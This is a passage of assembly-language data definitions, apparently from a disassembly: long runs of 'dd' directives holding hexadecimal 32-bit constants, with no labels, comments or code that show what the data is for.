		dd 205DB100h, 0C519CEFh, 9DA900F6h, 65BFE595h, 0CA162A5Bh
		dd 7E0FAB0h, 0E8B90035h, 0EC67FB87h, 3C0C6BC4h,	8C11DF3Dh
		dd 0E3C50B73h, 3280D782h, 0A4D8D66Dh, 9B973100h, 709957E7h
		dd 59F600C6h, 6D2F8DB0h, 0FB03BA36h, 0BCF9F441h, 4B4EA802h
		dd 0ABBD0AAEh, 0CC07FDh, 0C6F78082h, 89007297h,	0D0A51F34h
		dd 17D5092h, 162133ADh,	0D0011A41h, 4F486DF8h, 95D9283Ch
		dd 97189D0Eh, 19A38749h, 0D22F8240h, 0D8BA00FCh, 0D58F68DFh
		dd 5E001A69h, 393ACBB8h, 2A5026h, 5BE8D685h, 0ECAE0F0Eh
		dd 0BD3C5300h, 0FCC8CF88h, 0CC360139h, 0A537BAF1h, 65708B89h
		dd 0DDFE0043h, 0F04474Ah, 0B866C8FCh, 0E9B9B4C0h, 0F73BFDB2h
		dd 0CCA4B836h, 461E1CA0h, 7E321440h, 0FF2BB6h, 0EFF0367Ch
		dd 0B0E60A27h, 92F629C0h, 0AC0545h, 0DE4BF338h,	0BD3F1882h
		dd 1C606200h, 3372758h,	33D90017h, 0ACFA0E7Bh, 897EEC98h
		dd 0C6648h, 0BCD0F54Ch,	1D9C17Fh, 3680E36Eh, 30120C17h
		dd 0F400A648h, 42998C46h, 7F75B5Ch, 1698B9B0h, 0AC9F190h
		dd 0B88C40DBh, 0B63F40EAh, 9FB81B5h, 37AD4ED6h,	90A52620h
		dd 0C9910C1Ch, 1B31A270h, 8DC830EDh, 0EE001273h, 0ADB9027Eh
		dd 789E74B4h, 0EB281D44h, 0E104C056h, 0BCDF8EF8h, 7895622Ch
		dd 0F56EF002h, 5938C03Fh, 38B065FBh, 0D7D080CFh, 0E100507Ah
		dd 68F495Dh, 0F20CE9h, 0DEA0FE51h, 3D4B30BCh, 106E8102h
		dd 0E0B76791h, 983404h,	8F9214Fh, 0F07B3F23h, 20EB3A00h
		dd 922A51FDh, 58D800C1h, 0ADB7DDDBh, 6B18BB54h,	4DACEAC0h
		dd 0A80759B3h, 0D5F59C00h, 0B859A275h, 0F4578300h, 3261F723h
		dd 1225589Fh, 65DBAF00h, 0E2625A6Fh, 2853F1Eh, 0B9BA9442h
		dd 25DE60ACh, 91FF007Bh, 0C574C648h, 61E31CFh, 0F5FF3640h
		dd 81B63C03h, 0F744C886h, 0E484F950h, 0F4EA0F23h, 0EFE0E1A3h
		dd 1DD8D0BDh, 3FCEBF00h, 21868BAEh, 2864008Eh, 6E50C4B1h
		dd 7B004E36h, 0F5421849h, 79E5CAD9h, 0F1A200BEh, 5B760ED7h
		dd 0B2264CBAh, 0EF03BFC7h, 0A00B919Eh, 6267E0h,	36A9E80Ah
		dd 0D76D648Bh, 616EC712h, 0EE5D7C47h, 6068B492h, 1FDC2Eh
		dd 8337403Dh, 3B6B74C1h, 0BA00817Fh, 0EAF334FAh, 2C394Fh
		dd 6DCE11C3h, 0AFB8E272h, 0D1BB5000h, 9AFF9B1Fh, 0CF1A0E43h
		dd 8DC0E0CAh, 0F8AED385h, 758CDA09h, 9C6300FDh,	0E10679h
		dd 0ED1E0C9Ah, 45AA7A2Fh, 2C52323Ah, 0CB0CC531h, 320640ECh
		dd 0E108AF10h, 404A14A7h, 0B589223Ch, 0E70B80Bh, 0E9178027h
		dd 0D06CA7h, 0A4CF1560h, 0A5764372h, 0AD85D91Ch, 0ED220C40h
		dd 79AADA31h, 3EA7A066h, 0A5A03653h, 8D03D290h,	98AA4918h
		dd 7AE8D086h, 87E5076Fh, 90C6B157h, 0BA809105h,	10778D03h
		dd 0D7ED0Ah, 0B91C4030h, 0D530D3CAh, 52E1EF00h,	0ECEAC45Bh
		dd 99C3039Bh, 0E7ABAD2Bh, 0C0F1B6B8h, 0FAA4F01h, 0FBA839FEh
		dd 1C9D28CCh, 7A1F3634h, 705FC983h, 7B9256D1h, 0BC8B98A0h
		dd 806E5A5h, 0DF2DF266h, 0D5852A19h, 6D3604B8h,	0C0640B0Eh
		dd 0D2344728h, 1BE28203h, 0C851C592h, 19BAB41h,	9864282Dh
		dd 50A5D48Fh, 1773C8B0h, 0F3B7B400h, 0BA0D1995h, 0C0C50E3Eh
		dd 808D47FAh, 80CE6128h, 0AAF39131h, 1BAB2Fh, 0B7D80347h
		dd 0B30FF541h, 1EFFF70Ch, 8DA105h, 747ED387h, 0CC79021Ah
		dd 95764B00h, 18B17D4Ah, 0E3CE03BCh, 933AA2E4h,	0BD9B1000h
		dd 6EA8791Ah, 15FA58E8h, 0AE048C00h, 29F4243Ch,	9858B900h
		dd 868A257Fh, 0E68E002Dh, 0C76CDEFFh, 0B3F8B77Ch, 0CBF5FA03h
		dd 0E16E9DB9h, 0C4030EFh, 380FC4F0h, 2DACF184h,	0D7E10F09h
		dd 91E77C64h, 40CA6C3Ch, 0C67480FEh, 0E4949C00h, 0E5B8380Eh
		dd 0D56B00CFh, 7E846C5Bh
		dd 5D00C74Fh, 198B26A5h, 7D616D4h, 0ECCEFB06h, 2BCF90E8h
		dd 38003D74h, 0F3844DF4h, 0B34842h, 0BCF799CCh,	88ACBFFAh
		dd 530DD517h, 8BFF1200h, 4BB5BB6Fh, 984C092Bh, 59093680h
		dd 5701EA39h, 15296D31h, 0E3E0A9F1h, 0E775B0h, 433FD20Ah
		dd 0DBDC1183h, 4098F00h, 12B944D4h, 87FEBEh, 8814E06Ah
		dd 502FEC92h, 70916200h, 0A9C5658Ch, 0B021005Bh, 0E48FB22Eh
		dd 88007D0Fh, 2A958DADh, 0FCB98251h, 204503CCh,	577194C6h
		dd 0E85A1B88h, 0F273AE03h, 0F0038DA1h, 0D669A6h, 5CEE4788h
		dd 2DEFDDDCh, 1C95B403h, 6D6797h, 7F9ADE21h, 38D97A28h
		dd 30E0410Bh, 0DF4F8005h, 59D366h, 0AE192C26h, 87A1ABFCh
		dd 626D2715h, 2F400080h, 0D776A6E4h, 0E5DC0061h, 0EE06E807h
		dd 3606A13Dh, 1D04A41h,	766F250h, 341754A0h, 0F05DD033h
		dd 0F900B97Bh, 0D429EE4Eh, 30C1F604h, 9F106A7Fh, 0AC0688D7h
		dd 0AFF34760h, 0E3B40080h, 4E669895h, 4B0048D8h, 0E9F8048Dh
		dd 0D3A033h, 0A8D428A2h, 0E74197FEh, 81788E3Bh,	5F0F7543h
		dd 0DC31C012h, 0CF625880h, 20B05086h, 18602C00h, 54725D17h
		dd 25640E5Ch, 2140373Ch, 0E6F8E868h, 0F23581Dh,	798480F9h
		dd 0AD9A250Eh, 4E6E0036h, 2FC0EA69h, 0CFFC57D7h, 48CC1E00h
		dd 0F18AC6A9h, 4E9300E0h, 5511FB2h, 0AF00457Bh,	887466F3h
		dd 0A015A65Bh, 408ACFBCh, 82F8D403h, 0FA46E60Fh, 0E1D2407Bh
		dd 7414BD36h, 0EEB200E3h, 79EAD4B8h, 6800D6CDh,	55933060h
		dd 0C1C8BDh, 32CE083Ch,	863DA541h, 4D9C2E50h, 85CD1400h
		dd 4AB3502Ch, 0AF8B2430h, 80151F74h, 51A9AD43h,	84487B01h
		dd 0B7650051h, 74ACBA02h, 0E6396044h, 50083747h, 88D82200h
		dd 53C75285h, 0AD7200EAh, 3C6365EFh, 3D01320Dh,	0F0290CAFh
		dd 0D420C373h, 4B5100F8h, 26F370CCh, 871F12A5h,	4A40A720h
		dd 0DF90058Eh, 0E8734Eh, 85AB3419h, 59CFBE25h, 8A000F76h
		dd 0CD311655h, 3DD9C6E7h, 980009ACh, 8E2FBBF0h,	0F200DC4Ah
		dd 1FEC4803h, 7D60D9h, 0CE9D469Eh, 491A9C59h, 1EBC2203h
		dd 0E0B59880h, 249A94E8h, 89487486h, 70208529h,	463BD612h
		dd 0A8F3502h, 40B88895h, 3A69248h, 8766B983h, 0E0089DF4h
		dd 7C402ABh, 994AE1h, 6A4EDC93h, 0F3CDF00h, 6798BC7Fh
		dd 2D0800E7h, 0A42AAD05h, 1B3C2C84h, 51B28094h,	1D524653h
		dd 9C2B008Dh, 2F9DA183h, 4F39F236h, 102E8085h, 4EB90F38h
		dd 0B8D70029h, 171E963Dh, 5707B714h, 0B27B3B9Dh, 0F39EEEE0h
		dd 0D008008Bh, 684B39B6h, 820E1906h, 20021E51h,	0BA13A2DEh
		dd 0C5350E0Bh, 0F2E03F77h, 0DAD5DDCFh, 0F1276400h, 377A1D72h
		dd 77EE01h, 1E62D252h, 2335B758h, 75E02E01h, 0E7C7C02Bh
		dd 0F3F7ACCh, 6F475324h, 40E88EE5h, 0B55ADEF8h,	0BA0039EDh
		dd 0F2FF164Eh, 5B981EFh, 826DBBC4h, 0CAB840EEh,	9C23D4DAh
		dd 0B6B8F801h, 5A27816h, 5528C30h, 0AEFAEC1h, 159000F5h
		dd 49C54F9Ah, 73B2BF00h, 0ACE6F39Fh, 138F2E3h, 0CFDE89A6h
		dd 2040933Eh, 24009CF8h, 0E0D603E5h, 3CBCA5A2h,	0D4809EB5h
		dd 9F1C658Fh, 794C39B0h, 0BFD30332h, 1291E75Dh,	8201C0h
		dd 0E56AF21Eh, 90C014CDh, 108C3FACh, 1A09006Eh,	0C95145CEh
		dd 2898AA9Ah, 4E26F3Fh,	6C67BED6h, 6194E86h, 0EE6EAF82h
		dd 0C43C5841h, 784D458h, 5EC5C000h, 6DC6C116h, 124B0C9h
		dd 1CAAE8B1h, 741A83Ah,	0E454F5D0h, 6FA601D6h, 0F149790Ah
		dd 0BB108BE7h, 216D00DEh, 12E9A804h, 794D5Ch, 5983D41Ch
		dd 0B81CF7A7h, 85949F19h, 68B10096h, 0D548D7Dh,	73D0A03Eh
		dd 0F405008Ah, 57226F4Ah, 0A2001788h, 6383FCE5h, 1570606Ah
		dd 8851D21Ch, 383DF118h, 5029DAFAh, 700EC05h, 16618B99h
		dd 0A86D009Ah, 3153936h, 69018846h, 4823CF70h, 92DC026Bh
		dd 97FB07A3h, 0B00BD309h, 0B4CB1328h, 37F8F007h, 6500E3B7h
		dd 643DDBh, 4EC26E7Dh, 0EF8D5A83h, 0BE16D00h, 0D6975821h
		dd 11460189h, 8F268872h, 4891406Ch, 30009F22h, 2116AE45h
		dd 120C1A55h, 0C4479A9h, 40114A59h, 80B73638h, 0FBA09893h
		dd 99D14Fh, 0B5538BE2h,	26D7848Fh, 0AB9EB000h, 609A17D2h
		dd 0DB58005Bh, 8EF35CB9h, 0FF02BE18h, 80E15A52h, 9ECCC0D0h
		dd 9A74CBh, 0F92AD9BCh,	0B7FFD811h, 76357C09h, 0A3042077h
		dd 5C24Eh, 9C3CD129h, 2538416Fh, 84C30E28h, 710AD000h
		dd 1D2399A5h, 6C5530F9h, 0D69D1478h, 0DA007A72h, 16BD41A1h
		dd 17CF862h, 42C22255h,	6074E09Bh, 0A8E4B7B8h, 87BCD507h
		dd 24B1F7Fh, 48F78FDAh,	60C584D4h, 0E122919Ch, 2161D7D8h
		dd 1598DB08h, 7C200470h, 0D0F300E9h, 9FF7E4EAh,	1800402Ch
		dd 90F6685Ch, 0BC33C3h,	4E21300Dh, 37527F17h, 0E343D00Ch
		dd 5868CEh, 11FA2FC7h, 0F14CBF3Dh, 8F3A9D2Eh, 7F600200h
		dd 0A00F8427h, 0F7DC044h, 3B6BC8C6h, 67D0EC00h,	9D0F305Ah
		dd 0A0BF38DAh, 7AEABA68h, 662A000Eh, 955F31A9h,	0A03C0865h
		dd 5A848087h, 37B17241h, 780B005Bh, 1E83450Fh, 2400E106h
		dd 149CBAFDh, 9DFAC2C5h, 348CE0E0h, 0BFC70B00h,	0EB308187h
		dd 0FF060354h, 0B6F16414h, 3F684FD8h, 0A80C1800h, 745E593Eh
		dd 0A27E002Ah, 448C1014h, 3000D7C1h, 96071E3Fh,	0E4640Ch
		dd 17FC6781h, 0D472A2C5h, 0AC0A791Ch, 0BA2FA002h, 0F8C4ADD3h
		dd 0B300040Bh, 8C4659E8h, 3A00F356h, 0DEC7E53Bh, 58D59D21h
		dd 94006B68h, 0DB8592D6h, 71012001h, 0E8B28625h, 9428AF08h
		dd 0C14CBC00h, 0F4B9DFE4h, 7BD730Ah, 803FC088h,	0F8762D47h
		dd 79E2FA7Dh, 0CA4105B9h, 380D2FF3h, 98469A20h,	0D5FC9C04h
		dd 5C2001F5h, 9081857Eh, 0BD32C35Bh, 0E1D18004h, 0BC35DFDEh
		dd 0D17C0D37h, 0EE088F84h, 0E6FA84A0h, 3D3E9ADFh, 0AEC880E0h
		dd 465A4102h, 804B5128h, 0CFB88801h, 0CB6E3180h, 50BB1483h
		dd 2A228703h, 0C106C489h, 3C7F9DCh, 4E5A4590h, 40008590h
		dd 0EA524B0Ah, 6C517AC3h, 2DA84957h, 11DFE28Ch,	881FBC2Eh
		dd 0E9B780E0h, 0FEF4CDFh, 1B3E07E0h, 91E21E4Dh,	0B113F746h
		dd 0A4BC1529h, 0C0158C99h, 6E00ECDFh, 50F1A897h, 904D981h
		dd 69748DFEh, 1DE6480h,	0BECE060Ch, 4987517Bh, 0F7094E7Fh
		dd 2724DC15h, 60E33F0Ch, 0BCF1889Ch, 0C148002Fh, 0B31CEE0h
		dd 28375002h, 21D3F074h, 3B7900D2h, 0FF49B54Eh,	0A80C4644h
		dd 51BADD20h, 92300024h, 0F134388Ah, 5C6640F8h,	7D212608h
		dd 0FF920F81h, 5A8795E9h, 0BABF7044h, 8DF2D6CAh, 5D8DC02h
		dd 416978A8h, 304A4540h, 0C0CE28C8h, 509AE316h,	5BE209B2h
		dd 240723C2h, 74CDF7FAh, 0BD7C82AEh, 0AD076064h, 88B4B23Bh
		dd 9532B330h, 0A06E4958h, 0EE00E13Ah, 7B6E5F4h,	9C00E44Dh
		dd 8A4115CDh, 2A8CF2F0h, 0EC4EDBh, 59AFB297h, 0A4F7DA03h
		dd 8919BA60h, 0E0AEC643h, 0FEF928DDh, 99FB0E4h,	0D79D4CD6h
		dd 8C208800h, 0A8C27C9Eh, 901E2EA4h, 3842E6B8h,	503849FCh
		dd 1FC84E28h, 81A01DA5h, 95359D24h, 0D0E4E0B2h,	0D228D8C1h
		dd 0C18C75A5h, 0FC49D8C0h, 71DF431Fh, 0B587A440h, 674022Fh
		dd 5B8AD516h, 4B38319Fh, 21DF8036h, 28CFD7C9h, 60D97411h
		dd 2E62216Dh, 0CA0F2536h, 424CBA79h, 0E1B9E303h, 2448944Ch
		dd 0E9360428h, 32D91921h, 2068206Ch, 0AB4CB936h, 72F4104Ch
		dd 101DFA04h, 6F2A01E5h, 0A8262EC3h, 29DFE202h,	0CB31D7BCh
		dd 0DFEAB610h, 0F541DD03h
		dd 0C08956F7h, 0FC3B0742h, 741C0040h, 0CB9327C0h, 15013E2Ah
		dd 0E7FCF84h, 0E6F80DEBh, 24B94950h, 0A2CD3906h, 0CE1588C7h
		dd 6BCB127h, 0DD8FEDB3h, 76640418h, 3F01074h, 24F672CDh
		dd 115C1431h, 9246802Ah, 9144388Ch, 2F7BC08Ch, 0B8983092h
		dd 0DC24BCE8h, 0CD8714A5h, 0DA13501Bh, 7A10028Ch, 0A05B1496h
		dd 6E2AA4A0h, 85023992h, 0C173BAB2h, 28F8A0E5h,	0E8B60763h
		dd 0C0D70033h, 868FC9B2h, 84066FB1h, 54765845h,	0ECB93DD9h
		dd 373FADA0h, 4798E5E5h, 605D1000h, 9EA9510h, 2B125BE3h
		dd 40CC5408h, 0DCE5507Ah, 7CA0DF52h, 87460890h,	0E2363307h
		dd 84C4D821h, 362B5D40h, 0F53FD7D2h, 1BE3006Ch,	0F270768Ch
		dd 74012C27h, 0A61F425Ch, 22A0F62Bh, 7934638h, 21D63627h
		dd 4072C418h, 0AC361F69h, 41F30320h, 0CC401DB3h, 3CB85818h
		dd 0F0FED9h, 3AF54ABEh,	0A37ABA60h, 563BCF16h, 8C82B824h
		dd 2B2523D1h, 0F1554680h, 5BF73405h, 940216C6h,	8042634Eh
		dd 527DF692h, 0D1DD603Eh, 5A5C7AC4h, 3750CE61h,	0F434694Dh
		dd 0B4982Dh, 0D238409Dh, 0A7501D1Fh, 14CD2F06h,	46F08834h
		dd 362D0291h, 311121ECh, 252B1070h, 72B30336h, 8E31265Ah
		dd 2F6C8CE4h, 48C0D23Bh, 80C83181h, 48D36458h, 888814C1h
		dd 0D13634C3h, 38483921h, 2C5C8886h, 0E2063600h, 8541A0D8h
		dd 9403483Ah, 228F4A3Ah, 660659Dh, 0F395EE07h, 53099898h
		dd 22E81F32h, 0A0C7B82Ch, 0DE3D4CB4h, 0A17D8Fh,	2E89B9Fh
		dd 5F198A97h, 0C870F701h, 4EBA442Eh, 0A0108861h, 87253Bh
		dd 0A33048F3h, 4FE6582Eh, 0D67BDCA4h, 2F05CFF2h, 2DC66C20h
		dd 3D9134D7h, 43F0D293h, 79E97BD5h, 1F04ECD1h, 0F75037h
		dd 9007ED6Bh, 0E504967Bh, 0D19ACDBEh, 81DE1C80h, 5C61C52Bh
		dd 71844074h, 6E39BFBCh, 0D8124000h, 0E89CE057h, 0D26B2CF7h
		dd 0BE9F804Ch, 0F10542B8h, 8028C048h, 31FA8BF5h, 2F8F0658h
		dd 8B7509Fh, 1090E154h,	0E4FA943Dh, 5C4B21D8h, 25AC5C10h
		dd 6C0B600h, 7F20CB3Fh,	0CD776Ah, 0F2B29EC2h, 0A4BA65E2h
		dd 234254Dh, 0D3E5A31h,	3908407Ah, 0C92730E5h, 7782DAD8h
		dd 0C1CAEB00h, 54EEFDF5h, 9E283D2Bh, 169C2C5Ch,	0E26441B9h
		dd 8023D91Dh, 0B240A118h, 488F0AE9h, 46087C10h,	5184FC16h
		dd 9700C0B0h, 846199F5h, 0E680FA09h, 8B24904Dh,	2CFBFFECh
		dd 1CEE9688h, 2E0AFC41h, 8094DC1Ch, 4C9E4493h, 9CE27A05h
		dd 0E4693007h, 0EA9537A8h, 0FAA2A860h, 6758230Ah, 1B28F211h
		dd 0AB840FB8h, 64E08F5Fh, 6C57C223h, 0E42C1224h, 370E80BDh
		dd 0A221B9D8h, 59DC12BAh, 1E5880EFh, 0BE0040D1h, 64901277h
		dd 0D649765Ah, 1F9408F1h, 9D9231C0h, 222C4638h,	2E8E1622h
		dd 186D0092h, 2BE4AC1Eh, 0DCF61005h, 20D0F2E9h,	58385E5Ah
		dd 0C7844C88h, 0BC3000F5h, 30DEA076h, 0E45132B9h, 14780E7Bh
		dd 0C40234Bh, 0B9A65B30h, 1B781351h, 110C062Dh,	0E2075082h
		dd 0DAAFDDE3h, 0D18443D0h, 0DBC01F02h, 0F91D00D4h, 53E41D9h
		dd 31222F21h, 82817940h, 6F431D91h, 528C030h, 0F4C4ACEBh
		dd 584711FAh, 80E8889Fh, 13FA8612h, 910B0F0Eh, 1BABFEEh
		dd 370D55B5h, 66DAC30h,	0DCDB7D45h, 5E00E1B8h, 7A73E786h
		dd 8974F08h, 3D1E216Ah,	0A5012800h, 0A0CFDFF5h,	4E544990h
		dd 0D7A0405Ch, 0BF0E6F41h, 88BDAD00h, 0F3DE9F91h, 0F550247Bh
		dd 0F9D34170h, 0C8644A36h, 8FDFCEECh, 8B02734Eh, 685A224Ah
		dd 8723946h, 3FBC32DFh,	0C05CCAC4h, 0D20EDF3Dh,	0B730B3B5h
		dd 35EE393Bh, 8BAB00B4h, 0BCD87A1Ah, 0E74875F4h, 5D430010h
		dd 24EF5703h, 48E32A87h, 0F6BB4CF8h, 0D6C0900Ch, 0C604E5C9h
		dd 355D14F4h, 74908CC4h, 58CCE613h, 150F5C47h, 27C20A5Bh
		dd 5C027A0Dh, 0B6A0A09Dh, 0E721C16Ch, 38F55BFCh, 74248797h
		dd 0B150438h, 45A04FA8h, 8000276Ah, 517B03CEh, 4E1C15Ah
		dd 30E381F5h, 8B146A20h, 8894BBB2h, 0DFD4C02Ch,	4746BC33h
		dd 0DD98C922h, 0C8C6DF00h, 0DACAC2C0h, 109225h,	5FBD413Ah
		dd 9D24CCA9h, 70B8FB7Ah, 5C720C20h, 22BCD846h, 8FE68Ch
		dd 0D6EB6BCh, 4459699Eh, 0D141BE17h, 9742E409h,	85ED9140h
		dd 84000999h, 2AF1077Eh, 5B393013h, 4E0B3158h, 0F9DEDC9Ch
		dd 688D620Ch, 98B54220h, 56C36F30h, 0EB02D43Bh,	8FBC28DFh
		dd 0C110DD31h, 0E800DFF3h, 16A4F289h, 48FDED0Eh, 85017383h
		dd 0A8456CF1h, 33C85825h, 388B9208h, 407CC45Ch,	70923B84h
		dd 40C04A57h, 0D8C70380h, 2200EBE4h, 58D30CD2h,	0B8A8D1Ch
		dd 4F7B5344h, 62DCF491h, 23CB0038h, 0F40F51BAh,	34E2C26h
		dd 194208D4h, 63F51031h, 40304AF9h, 0DFFE1FD2h,	28B02C57h
		dd 5E889624h, 6C002B46h, 3D975D18h, 5B3BE3C9h, 7D70E28Eh
		dd 60A042ECh, 0A3F4393Ch, 5A5B90D0h, 53F8AB94h,	0CBA294C1h
		dd 591230h, 0B3DD0960h,	0D0A7F617h, 81EC3948h, 923722E6h
		dd 28270A30h, 46704ADDh, 9245022Bh, 310C38A1h, 327A1014h
		dd 0EAC30392h, 2DDD3676h, 1FE25BE8h, 6947F12h, 0D1FD3090h
		dd 2439F9EDh, 0DA02DEBCh, 0EDBF0539h, 6218E88Fh, 8CD30043h
		dd 7EB7D7B5h, 14009355h, 590DEBA0h, 0EFCC9Fh, 0F60C2D0Fh
		dd 0A77E85B3h, 0E68D8E0Eh, 3AAC6166h, 3287A82Fh, 10279406h
		dd 554E3D13h, 37394300h, 2BF14887h, 0E8400001h,	7B3371F8h
		dd 1A009A1Eh, 0DECCB38h, 55E172h, 1CD82FE4h, 8459C13Fh
		dd 3E0C0500h, 5BC031DBh, 0D40200ADh, 505546C9h,	2F00DCF3h
		dd 0D673AED1h, 2CD77A74h, 2C12F794h, 50091BA4h,	67B51002h
		dd 21565D66h, 0C1421BADh, 0B3B02BA7h, 0FBE30718h, 73A6525Eh
		dd 37E053EAh, 88008E6Ah, 62E168C6h, 0F85BB357h,	1A270F07h
		dd 0D1839CA1h, 1900F8C3h, 87E12F37h, 20DC90C7h,	2D01C84Bh
		dd 29508B04h, 0A880E34Dh, 0C19F6E42h, 380E60B5h, 0A04E6486h
		dd 5B70E8C5h, 300D7CBEh, 0C4199210h, 0BD033476h, 38BB55CEh
		dd 0C076B4h, 0D5F82B23h, 35663A62h, 0DA753407h,	7A87397Eh
		dd 37DC080h, 0BB0C00D0h, 661F5362h, 80AB6734h, 97B07180h
		dd 9E0890A8h, 4896FC00h, 848FE98Ah, 70C403BAh, 10B4CFEFh
		dd 70F80A99h, 0D18C71Dh, 49504D30h, 63E235h, 9C2812E1h
		dd 0E2961383h, 63B38E0h, 0A1608043h, 0BA2422DFh, 0DC8300F6h
		dd 0B9031DE4h, 0AD07F512h, 134189CCh, 0DFA02C04h, 96D70C35h
		dd 8083FE1h, 92208A60h,	6BFA34h, 0F5429CBBh, 0E3226E2Ah
		dd 8DFFD600h, 1F54A480h, 1E0B3003h, 9C4E5978h, 0B81041EFh
		dd 44180553h, 6FAABE50h, 8F0AA02Eh, 0C2A5009Fh,	0AFA6054Ch
		dd 9FE75500h, 912BE224h, 7C78035Fh, 0CE7927FAh,	9E059698h
		dd 78D6523Eh, 3118F9B8h, 0E7F1043Bh, 965900E0h,	0CC76C57Bh
		dd 7A743582h, 2042ED30h, 6CE945h, 744018B7h, 0C4A4E8BDh
		dd 0E22F3C03h, 0CC27E05h, 0D183469h, 59002CB1h,	0A43FEC82h
		dd 0F8133D28h, 0ED7E3075h, 0BD2B1E0h, 0C1B21502h, 60F80ECEh
		dd 280689h, 0D956E0EBh,	2F4CA6B8h, 301D6C3Dh, 7EF52A65h
		dd 0B0D3B3Ch, 0CBA56F80h, 4950C437h, 6E034CEEh,	0EED7F3BAh
		dd 98C9B065h, 389006A5h, 8B5F40Dh, 0EBBF0B00h, 545FE9C8h
		dd 9824034Fh, 0B241475Bh, 536FC1F8h, 5C059A1Ch,	0E2A6A00Ah
		dd 208F4132h, 8A5BAB04h, 0FF2F741Fh, 5C916C18h,	0C71112C1h
		dd 5A160051h, 0D9EB5F02h, 7CAF8100h, 0D4B4341Bh, 0B91C0F3h
		dd 664E1972h, 87F20572h
		dd 8CCBEF4h, 0EA555181h, 89F3064Eh, 0C99890C9h,	0E1C33888h
		dd 48F6DA00h, 0D3925EB0h, 80DE0003h, 5B575A4Ch,	0FF008340h
		dd 43CF3061h, 0C6A5BCh,	2A920B0Ch, 0B587CBF4h, 0AE754200h
		dd 6B63D6E4h, 788650A3h, 0DEC3001Eh, 0D5466476h, 0B87566F6h
		dd 32A73014h, 0EFFCAC64h, 5F4CAE0Ch, 0EE410081h, 0AA1A89DFh
		dd 9220C0B3h, 0BFF18C87h, 8D396119h, 8718DA60h,	5292898h
		dd 53403056h, 0E54F8Fh,	5CD7BB12h, 732EFEDh, 0B2543352h
		dd 422330B5h, 0FA77DE00h, 6DA9CF02h, 247C003Bh,	60250F6Ch
		dd 0AE06B6B5h, 0BF06160Dh, 0CCA0DC1h, 0E049A85Eh, 4B00EC98h
		dd 0AD204A1Dh, 74DB3394h, 0FCD33A7h, 0E0C77120h, 17D77EEDh
		dd 56180309h, 0D0E5086Eh, 0EE63B780h, 0FC627D51h, 5DB10082h
		dd 0FCBEAB78h, 59142A5Bh, 186C8F43h, 72399CAAh,	7C9847h
		dd 0D9634357h, 45382B3h, 62B5E804h, 480D21Bh, 800E376Bh
		dd 6D3EED38h, 0A0A48182h, 5C0C9E74h, 39D66448h,	0D010774Ah
		dd 8BCFC8A7h, 9280FD73h, 664890FEh, 274CC16h, 0A542A002h
		dd 5B8C848Eh, 0BA4AD560h, 28D84629h, 0F8C1B418h, 0E34A0EFCh
		dd 79E2A9E7h, 249D1601h, 0C7805B11h, 58C50A4Dh,	64A6AA00h
		dd 9043E424h, 323C407Fh, 84A8EC7Ah, 63002E56h, 0AF9488E5h
		dd 18C01FAh, 93EDD0A0h,	4E5D4D79h, 0C1BE8844h, 0FC43D514h
		dd 77D3BB8h, 0A051412Ah, 5A2D380Bh, 600400CFh, 0A38EA874h
		dd 2017A3A4h, 5700D821h, 12DDEF1Fh, 64A727C7h, 80D361C8h
		dd 0FA48B3A4h, 0F9BAAA07h, 2B00419h, 5A8D2D8h, 77B58845h
		dd 10EC2F9Dh, 0FC00CC1h, 7790565h, 15307D06h, 46C0AEB8h
		dd 0CF59022Ch, 3158A58Dh, 61E71740h, 1F8C9D20h,	4C6E0175h
		dd 0C29F08FDh, 16343414h, 80C857F1h, 0D005ED58h, 3418B36Fh
		dd 0A0196EB8h, 0A6149143h, 0BC2E28FEh, 8D862440h, 97DB8384h
		dd 0C7E01140h, 0D0904DB0h, 0F00C6A21h, 860C6Ch,	672791A0h
		dd 141319E8h, 4AD37730h, 30CCF1C0h, 9EB96BF4h, 1107B8F7h
		dd 0D0EA3D84h, 898F8250h, 0F8653A54h, 0EEB42007h, 8C10C993h
		dd 53038C58h, 0F5ED76FEh, 0A749184Ch, 6C07D9C3h, 2603E5FCh
		dd 0B388B97Bh, 0C83D889Fh, 2F6D2E08h, 80F40A38h, 7D499Ch
		dd 8BD19161h, 50B1006Bh, 1921CBE8h, 491F439Ah, 0AC264EECh
		dd 848FFD11h, 0BE056382h, 5210B731h, 36034E8Ch,	78373174h
		dd 1689B029h, 2614910Ah, 589026B0h, 0E10049F0h,	0C00A4263h
		dd 30819082h, 0AB290287h, 0F3007C1Bh, 19DF9C95h, 0E808548Ch
		dd 4E99C09Dh, 0E1DD7C85h, 0EC76BA09h, 118C985Ah, 94BB01F2h
		dd 7BE8DF86h, 5D1FF096h, 6AF3B60Eh, 0A47E30Dh, 0B84F12Eh
		dd 0F8667199h, 1D8E18FFh, 2305594Fh, 0BC412C2Ch, 2EF44E82h
		dd 4EF0631h, 513E256Dh,	59158630h, 13664A1h, 4FF0053Ah
		dd 0E5FFF2EDh, 0CF7089E1h, 91F41706h, 47CE8249h, 0FE14E14Bh
		dd 4E051B18h, 3B760564h, 834F5870h, 0C6FD004Eh,	40A75EAh
		dd 0F6084D4h, 4D55C2A9h, 47C0BDA5h, 1019348h, 1C63A87Ch
		dd 0B1C491D4h, 8DBCB05Ah, 6C3DE194h, 0D5385033h, 5A1DB47Bh
		dd 0E7803FFDh, 2BB54CE0h, 0A7132416h, 0C2C98958h, 6904DC10h
		dd 80F3033Eh, 1191C49Ch, 2447D34Fh, 5E5833F9h, 4A00C346h
		dd 0FF757770h, 0C0A4BB19h, 88903C18h, 0D23229h,	74D060B4h
		dd 0DDA16CD6h, 54697624h, 9D575DCh, 0A43D442h, 286D8010h
		dd 44CB3CA0h, 0ED63F900h, 294AE191h, 0EB8E1BAAh, 3DA82142h
		dd 0AF00A7ECh, 0C330E6FDh, 0A63544h, 4D094FBCh,	0B2717A54h
		dd 99168631h, 56FCD7C1h, 0FB4E00E2h, 0E8790CD0h, 1C0C8A42h
		dd 0A188842Fh, 0EB0903A0h, 2675DEFh, 19008AE3h,	17A4BB69h
		dd 0EC0482A7h, 122EF061h, 2F32C90Eh, 0C3F8393Ch, 0D8AEF101h
		dd 62A55571h, 8198004Ch, 40E17D7Ch, 1EEEF467h, 291388h
		dd 5AF49A58h, 6B30C2C1h, 7538317Dh, 0F8F300F2h,	341C6CC7h
		dd 99E05A89h, 176B6025h, 80C29138h, 0E70E7A16h,	436800E1h
		dd 592E20A9h, 49CB9C85h, 22BE8030h, 0C05A1F4Ah,	0AE1A5DD4h
		dd 0BF0B43F3h, 90A6FAFEh, 9CCE74h, 82E17BD6h, 0F6AD4C89h
		dd 0C38E3E00h, 0F649A6Bh, 0C6C900E3h, 9076EDCEh, 2491848Fh
